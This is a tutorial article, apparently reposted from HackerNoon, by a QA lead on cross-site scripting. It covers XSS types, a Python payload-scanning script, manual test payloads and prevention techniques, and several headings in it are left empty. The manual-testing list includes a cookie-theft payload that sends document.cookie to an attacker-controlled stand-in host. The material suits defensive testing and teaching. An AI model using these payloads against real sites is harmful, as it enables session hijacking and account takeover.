Cross-Site Scripting (XSS) Vulnerabilities: Testing Strategies and Examples
Konstantin Sakhchinskiy
Sr. QA Engineer and Team Lead with skills and expertise to help improve your products and enhance customer satisfaction
You can read this article on HackerNoon
According to statistics I’ve seen and my experience, XSS vulnerabilities continue to be a prevalent threat to web applications, posing risks of data theft, session hijacking, and website issues. I decided that I could spend more time researching this vulnerability type and share with you at least this overview-like basic knowledge so many QA and dev experts may keep in mind some ways to test their apps against this issue. This article explores different types of XSS, testing methodologies, and automation approaches and provides some examples and payloads for effective penetration testing.
Cross-site scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users, exploiting vulnerabilities in client-side code execution. Understanding the different types of XSS vulnerabilities and using proper testing strategies are crucial to building secure web apps protected against such attacks.
XSS exploits occur when untrusted user input is inadequately sanitized and executed within a web application, enabling attackers to inject and execute malicious scripts in the context of other users' browsers.
Types of XSS Vulnerabilities
Reflected XSS
Occurs when user-supplied data is echoed back in the response without proper validation.
Example: <script>alert('XSS_DEMO')</script> injected through a URL parameter.
These exploits occur when a web application reflects unvalidated user input to the user's browser without proper sanitization. In this attack, the attacker crafts a malicious URL containing script code, which, when clicked by the victim, is executed within the context of the vulnerable web page. The malicious script is not stored on the server but is instead reflected directly from the user's input. Reflected XSS vulnerabilities are often leveraged in phishing attacks or to manipulate the user's browsing experience. The impact can be severe, ranging from cookie theft to session hijacking.
Stored XSS
Malicious script is permanently stored on the server and executed when accessed by other users.
Example: Malicious script stored in a comment/post on a forum post or social network profile page.
Also known as persistent XSS, arises when an attacker injects malicious script code into a web application, which is then stored on the server side. This injected script is later retrieved and executed whenever the vulnerable page is accessed by other users. Stored XSS attacks are particularly dangerous as the injected script persists over time, potentially affecting multiple users and leading to widespread exploitation. Attackers commonly target user-generated content such as comments, forum posts, entities names which are displayed on web pages or profile fields to execute their malicious payloads. The consequences of stored XSS can include data theft, account takeover, and website defacement, posing significant risks to both users and the affected organization.
DOM-based XSS
Script execution relies on the manipulation of the DOM on the client side.
Example: JS code retrieves and executes user-controlled data from the URL hash.
It occurs when a web application dynamically manipulates the DOM based on untrusted user input in an unsafe manner. Unlike traditional XSS attacks, which involve server-side processing, DOM-based XSS manifests entirely on the client side. Attackers exploit DOM-based XSS by manipulating client-side scripts to execute arbitrary code within the victim's browser. This type of XSS is often harder to detect and mitigate, as the vulnerability resides within the client-side code and may not be evident during server-side testing. DOM-based XSS attacks can lead to various consequences, including session hijacking, data exfiltration, and unauthorized actions on behalf of the user, highlighting the importance of client-side security measures and vigilant web app development practices.
Self-XSS
It is a social engineering attack where an attacker tricks a user into executing malicious code within their browser. Unlike traditional XSS attacks that target multiple users, Self-XSS exploits the user's trust to execute code within their session. Typically, attackers lure victims into pasting seemingly innocent-looking JS code into their browser's developer console or some fields of a website under the guise of a harmless action, such as unlocking a feature or earning rewards. Once executed, the injected code can potentially compromise the victim's account, steal sensitive information, or perform unauthorized actions on their behalf. Despite being limited to the victim's session, Self-XSS remains a threat, emphasizing the importance of user education and awareness to recognize and avoid such deceptive tactics.
Testing
Automation
You can write some scripts; I prefer Python, for example:
import requests
def test_xss(url, parameter):
payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert(1)>",
# list of your payloads
]
for payload in payloads:
modified_url = f'{url}?{parameter}={payload}'
response = requests.get(modified_url)
if payload in response.text:
print(f'Potential XSS detected here - {modified_url}')
# example
test_xss("https://testwebsite.com/search", "query_param_name")
Manual Testing
Analyze responses to determine if payloads are reflected or executed. Create PoC, understand the potential impact, and prioritize issues fixing.
Steps:
<script>alert('XSS');</script>
(%0ejavascript:alert(/XSS/))
<script>alert('XSS')</script> // Display alert dialog with 'XSS' message.
<img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'.
// Cookie Theft Payload:
<img src="https://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server.
// DOM-based XSS Payload:
#"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
<b>t</b>#`"/*—est
Use fuzzing and a list of payloads - automate this approach when possible or use special tools for it.
Personally, I like using payloads and info from here ,?it is a very useful resource, in my opinion.
领英推荐
Black-Box Testing
Gray-Box Testing
Exploiting XSS
XSS PoC
Advanced XSS Exploitation
Bypassing XSS Filters
Prevention Techniques
Input Validation and Output Encoding
Content Security Policy (CSP)
Context-Specific Output Encoding
Encode data based on the context in which the output data is being rendered. Apply different encoding methods for HTML, JS, CSS, and other contexts to ensure comprehensive protection against XSS.
For example, use HTML entity encoding for HTML content, JavaScript escaping for inline script contexts, and CSS escaping for style attributes to prevent script injection and maintain data integrity across various output contexts.
Input Whitelisting and Blacklisting
Implement input whitelisting and blacklisting to filter and validate user inputs based on predefined allowlists and denylists of permitted and prohibited characters, patterns, or content types.
Security Headers and Sanitization Libraries
Secure Dev Practices and Security Awareness
XSS poses persistent threats to web apps, risking data breaches and user trust. Understanding XSS types and testing methods is crucial for effective mitigation. Prevention techniques such as input validation, output encoding, and CSP implementation improve app security. By prioritizing security practices and collaboration, teams can protect their apps against XSS and ensure adequate web app security.
If you are a beginner and interested in cybersecurity and penetration testing or just want to improve your app to make it more secure, you can read my articles on these topics:
For more details about XSS and payloads, you can find the following resources:
A crucial reminder:
Always conduct penetration testing with explicit permission and within a controlled environment. This ethical approach ensures that security assessments align with responsible testing protocols, preventing inadvertent compromises to systems and upholding the integrity of both the testing process and overarching cybersecurity strategy.